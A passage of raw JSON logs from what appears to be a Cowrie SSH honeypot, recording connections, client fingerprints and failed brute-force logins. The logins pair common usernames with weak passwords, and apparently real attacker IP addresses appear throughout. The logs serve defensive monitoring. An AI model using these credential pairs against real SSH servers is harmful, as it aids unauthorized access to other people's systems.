af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:24.645812Z","src_ip":"150.95.157.171","session":"133b7768a5a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Pa$$w0rd12345","message":"login attempt [ubuntu/Pa$$w0rd12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:25.332006Z","src_ip":"150.95.157.171","session":"133b7768a5a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:26.501636Z","src_ip":"150.95.157.171","session":"133b7768a5a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41586,"dst_ip":"159.203.135.109","dst_port":22,"session":"e405d12a8d3e","protocol":"ssh","message":"New connection: 159.203.92.129:41586 (159.203.135.109:22) [session: e405d12a8d3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:56.016833Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:56.021528Z","src_ip":"159.203.92.129","session":"e405d12a8d3e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:56.026860Z","src_ip":"159.203.92.129","session":"e405d12a8d3e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root12345678","message":"login attempt [administrator/root12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:56.038387Z","src_ip":"159.203.92.129","session":"e405d12a8d3e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:57.044799Z","src_ip":"159.203.92.129","session":"e405d12a8d3e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.166.19.90","src_port":13895,"dst_ip":"159.203.135.109","dst_port":22,"session":"01b5cea0e78f","protocol":"ssh","message":"New connection: 125.166.19.90:13895 (159.203.135.109:22) [session: 01b5cea0e78f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:59.077810Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:59.082819Z","src_ip":"125.166.19.90","session":"01b5cea0e78f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:52:59.352607Z","src_ip":"125.166.19.90","session":"01b5cea0e78f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"m1necraft","message":"login attempt [minecraft/m1necraft] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:00.462717Z","src_ip":"125.166.19.90","session":"01b5cea0e78f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:01.736476Z","src_ip":"125.166.19.90","session":"01b5cea0e78f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":51032,"dst_ip":"10.17.0.5","dst_port":22,"session":"7730e7e95732","protocol":"ssh","message":"New connection: 150.95.157.171:51032 (10.17.0.5:22) [session: 7730e7e95732]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:21.320503Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:21.325843Z","src_ip":"150.95.157.171","session":"7730e7e95732","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:21.486637Z","src_ip":"150.95.157.171","session":"7730e7e95732","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"newuser","password":"test123","message":"login attempt [newuser/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:22.166312Z","src_ip":"150.95.157.171","session":"7730e7e95732","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:23.332132Z","src_ip":"150.95.157.171","session":"7730e7e95732","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46698,"dst_ip":"159.203.135.109","dst_port":22,"session":"3eeb3bfee61a","protocol":"ssh","message":"New connection: 159.203.92.129:46698 (159.203.135.109:22) [session: 3eeb3bfee61a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:40.573476Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:40.578351Z","src_ip":"159.203.92.129","session":"3eeb3bfee61a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:40.582881Z","src_ip":"159.203.92.129","session":"3eeb3bfee61a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root123@","message":"login attempt [administrator/root123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:40.595353Z","src_ip":"159.203.92.129","session":"3eeb3bfee61a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:41.601748Z","src_ip":"159.203.92.129","session":"3eeb3bfee61a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.40.30.168","src_port":47128,"dst_ip":"159.203.135.109","dst_port":22,"session":"390993c5c33b","protocol":"ssh","message":"New connection: 185.40.30.168:47128 (159.203.135.109:22) [session: 390993c5c33b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:54.648541Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:54.652909Z","src_ip":"185.40.30.168","session":"390993c5c33b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:54.780191Z","src_ip":"185.40.30.168","session":"390993c5c33b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"daniel","password":"P@ssw0rd","message":"login attempt [daniel/P@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:55.316966Z","src_ip":"185.40.30.168","session":"390993c5c33b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:53:56.448816Z","src_ip":"185.40.30.168","session":"390993c5c33b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.95.157.171","src_port":39862,"dst_ip":"10.17.0.5","dst_port":22,"session":"2bb9a26a20fe","protocol":"ssh","message":"New connection: 150.95.157.171:39862 (10.17.0.5:22) [session: 2bb9a26a20fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:22.265597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:22.270832Z","src_ip":"150.95.157.171","session":"2bb9a26a20fe","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:22.426019Z","src_ip":"150.95.157.171","session":"2bb9a26a20fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":47848,"dst_ip":"159.203.135.109","dst_port":22,"session":"a76edd432cea","protocol":"ssh","message":"New connection: 159.203.92.129:47848 (159.203.135.109:22) [session: a76edd432cea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:22.776639Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:22.782682Z","src_ip":"159.203.92.129","session":"a76edd432cea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:22.788272Z","src_ip":"159.203.92.129","session":"a76edd432cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"administrator","password":"root2","message":"login attempt [administrator/root2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:22.801802Z","src_ip":"159.203.92.129","session":"a76edd432cea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"123qwe...","message":"login attempt [ubuntu/123qwe...] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:23.048575Z","src_ip":"150.95.157.171","session":"2bb9a26a20fe","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:23.809637Z","src_ip":"159.203.92.129","session":"a76edd432cea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:54:24.214689Z","src_ip":"150.95.157.171","session":"2bb9a26a20fe","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55016,"dst_ip":"159.203.135.109","dst_port":22,"session":"02cea39a9d62","protocol":"ssh","message":"New connection: 159.203.92.129:55016 (159.203.135.109:22) [session: 02cea39a9d62]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:07.112202Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T20:55:07.188588Z","src_ip":"159.203.92.129","session":"02cea39a9d62","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed